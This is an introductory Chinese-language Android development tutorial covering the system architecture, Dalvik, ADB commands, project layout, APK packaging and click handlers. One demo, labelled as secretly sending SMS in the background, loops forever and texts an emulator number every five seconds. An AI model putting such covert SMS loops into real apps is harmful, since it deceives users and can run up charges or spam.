Android开发简介

一、通信技术

1、1G:模拟制式 只能进行语音通话。
2、2G:GSM, CDMA 收发短信和邮件。
3、2.5G :GPRS, EDGE,访问wap网络数据.(图片, 壁纸, 文字信息)。
4、3G:WCDMA(联通), CDMA2000(电信), TD-SCDMA(移动),发微博, 查看高清图片, 小电影.。
5、3.5G :HSDPA, HSDPA+。
6、4G:TD-LTE ,下载速度: 50Mb/s  = 6MB/s,上传速度: 10Mb/s = 1.2MB/s。

二、Android系统架构层次

技术分享

1、应用程序层
      该层提供一些核心应用程序包,例如电子邮件、短信、日历、地图、浏览器和联系人管理等。同时,开发者可以利用Java语言设计和编写属于自己的应用程序,而这些程序与那些核心应用程序彼此平等、友好共处。
2、 应用程序框架层
     该层是Android应用开发的基础,开发人员大部分情况是在和她打交道。应用程序框架层包括活动管理器、窗口管理器、内容提供者、视图系统、包管理器、电话管理器、资源管理器、位置管理器、通知管理器和XMPP服务十个部分。在Android平台上,开发人员可以完全访问核心应用程序所使用的API框架。并且,任何一个应用程序都可以发布自身的功能模块,而其他应用程序则可以使用这些已发布的功能模块。基于这样的重用机制,用户就可以方便地替换平台本身的各种应用程序组件。
3、系统库和Android运行时
     系统库包括九个子系统,分别是图层管理、媒体库、SQLite、OpenGLEState、FreeType、WebKit、SGL、SSL和libc。Android运行时包括核心库和Dalvik虚拟机,前者既兼容了大多数Java语言所需要调用的功能函数,又包括了Android的核心库,比如android.os、android.net、android.media等等。后者是一种基于寄存器的java虚拟机,Dalvik虚拟机主要是完成对生命周期的管理、堆栈的管理、线程的管理、安全和异常的管理以及垃圾回收等重要功能。
4、 Linux内核
     Android核心系统服务依赖于Linux2.6内核,如安全性、内存管理、进程管理、网络协议栈和驱动模型。Linux内核也是作为硬件与软件栈的抽象层。驱动:显示驱动、摄像头驱动、键盘驱动、WiFi驱动、Audio驱动、flash内存驱动、Binder(IPC)驱动、电源管理等。
Android层次总结:
     1、 Android的系统架构采用分层架构的思想,架构清晰,层次分明,协同工作。
     2 、Android的系统架构不仅从宏观上认识了Android系统,同时,也给我们的学习与实践指明了方向。若是从事Android应用开发,那应该研究Android的应用框架层和应用程序层;若是从事Android系统开发,那应该研究Android的系统库和Android运行时;若是从事Android驱动开发,那应该研究Android的Linux内核。总之,找准切入点,实践出真知。

三、DVM(Dalvik VM)与JVM

1、这两种虚拟机执行文件不同,DVM的执行文件是.dex,JVM的执行文件是.jar。

DVM编译过程: .java --> javac --> .class--> .dex-->.odex

JVM编译过程:  .java --> javac -->  .class-->.jar

2、它们之间的架构不同,DVM是基于寄存器,而JVM是基于堆栈的。

3、dex文件和class字节码如下图:

技术分享

四、ADB命令使用

adb devices  列出所有的设备
adb start-server  开启adb服务
adb kill-server    关闭adb服务
adb logcat 查看Log
adb shell 挂载到Linux的空间 
adb install <应用程序(加扩展名)> 安装应用程序
adb –s <模拟器名称>  install  <应用程序(加扩展名)>  安装应用到指定模拟器
adb uninstall  <程序包名>
adb pull <remote> <local>  下载
adb push <local> <remote>  上传
emulator –avd <模拟器名称>

五、Android项目结构

src: 存放java代码
gen: 存放自动生成文件的. R.java 存放res文件夹下对应资源的id
project.properties: 指定当前工程采用的开发工具包的版本
libs: 当前工程所依赖的jar包.
assets: 放置一些程序所需要的媒体文件.
bin: 工程的编译目录. 存放一些编译时产生的临时文件和当前工程的.apk文件.
res(resources): 资源文件.
drawable: 存放程序所用的图片.
layout: 存放android的布局文件.
menu: 存放android的OptionsMenu菜单的布局.
values (应用程序所需要的数据. 会在R文件中生成id)
strings.xml 存放android字符串.
dimens.xml 存放屏幕适配所用到的尺寸.
style.xml 存放android下显示的样式.
values-sw600dp 7寸平板所对应的值
values-sw720dp-land 10寸平板所对应的值
values-v11 指定3.0版本以上的手机显示的样式.
values-v14 指定4.0版本以上的手机显示的样式.
AndroidManifest.xml: android应用程序的入口文件. 声明了android里边的组件. 和相关配置信息.
proguard-project.txt: 加密当前程序所使用.

六、打包过程:打包安装过程(Run as Android Application ) :

1. 生成apk文件.
(1)生成.dex文件.
(2)资源索引表的生成resources.arsc.
(3)准备未编译文件.
(4)清单文件AndroidMenifest.xml文件转换成二进制.
(5)使用debug.keystore对整个应用程序进行打包签名.
2. 加载apk文件到模拟器中.
        把apk文件加载到/data/local/tmp/xxx.apk
3. 安装应用程序.
(1)把/data/local/tmp/xxx.apk文件, 剪切/data/app/包名-1.apk
(2) 在/data/data/文件夹下以包名创建一个文件夹, 用于存储当前程序的数据.
(3)在packages.xml和packages.list文件中分别添加一条记录.

七、二个demo

1、拨号器的实现

  在两个模拟器测试时指定模拟器号码(如5554、5556)就行。

                // 1. 取出输入框中的号码
		EditText etNumber = (EditText) findViewById(R.id.number);	// 输入框对象
		String number = etNumber.getText().toString();	// 将要拨打的号码
		// 2. 根据号码拨打电话
		Intent intent = new Intent();		// 创建一个意图
		intent.setAction(Intent.ACTION_CALL);		// 指定其动作为拨打电话
		intent.setData(Uri.parse("tel:" + number));	// 指定将要拨出的号码
		startActivity(intent);	// 执行这个动作

2、短信发送器(后台偷偷发短信)

                // 开启一个子线程. while(true) 循环发送短信		
		new Thread(new Runnable() {
			@Override
			public void run() {
				
				while(true) {
					// 循环发送短信
					// Thread.sleep(1000);
					SystemClock.sleep(5000);
					SmsManager smsManager = SmsManager.getDefault(); // 短信管理器
					smsManager.sendTextMessage(
							"5556", 	// 收件人的号码
							null,		// 短信中心号码 
							"aadsfds", 
							null, 	// 如果发送成功, 回调此广播, 通知我们.
							null);	// 当对方接收成功, 回调此广播.
				}
			}
		}).start();

八、点击事件的四种实现方式

1、通过布局文件注册onClick属性事件。

        public void onClick(View v) {
		System.out.println("执行点击事件!");				
	} 
2、使用点击事件内部类

                Button btnCall = (Button) findViewById(R.id.btn_call);		
		btnCall.setOnClickListener(new OnClickListener() {
			
			@Override
			public void onClick(View v) {
				System.out.println("执行点击事件!");
			}
		});
3、使用点击事件类

                Button btnCall = (Button) findViewById(R.id.btn_call);		
		btnCall.setOnClickListener(new MyOnClickListener());// MyOnClickListener类实现了Onclicklistener接口
4、在Activity实现OnclickListener接口

public class MainUI4 extends Activity implements OnClickListener {

	/**
	 * 当界面刚被创建时回调此方法
	 */
	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);// 必须执行此句代码. 执行父类的初始化操作.
		setContentView(R.layout.main);// 设置当前界面显示的布局		
		Button btnCall = (Button) findViewById(R.id.btn_call);		
		btnCall.setOnClickListener(this);// 注册点击事件
	}
	

	@Override
	public void onClick(View v) {
		System.out.println("执行点击事件!");
	}
}
 在实际开发中一般使用第2到4种方式,第一种方式很少使用,因为这种方式使得界面和代码之间耦合了。


郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。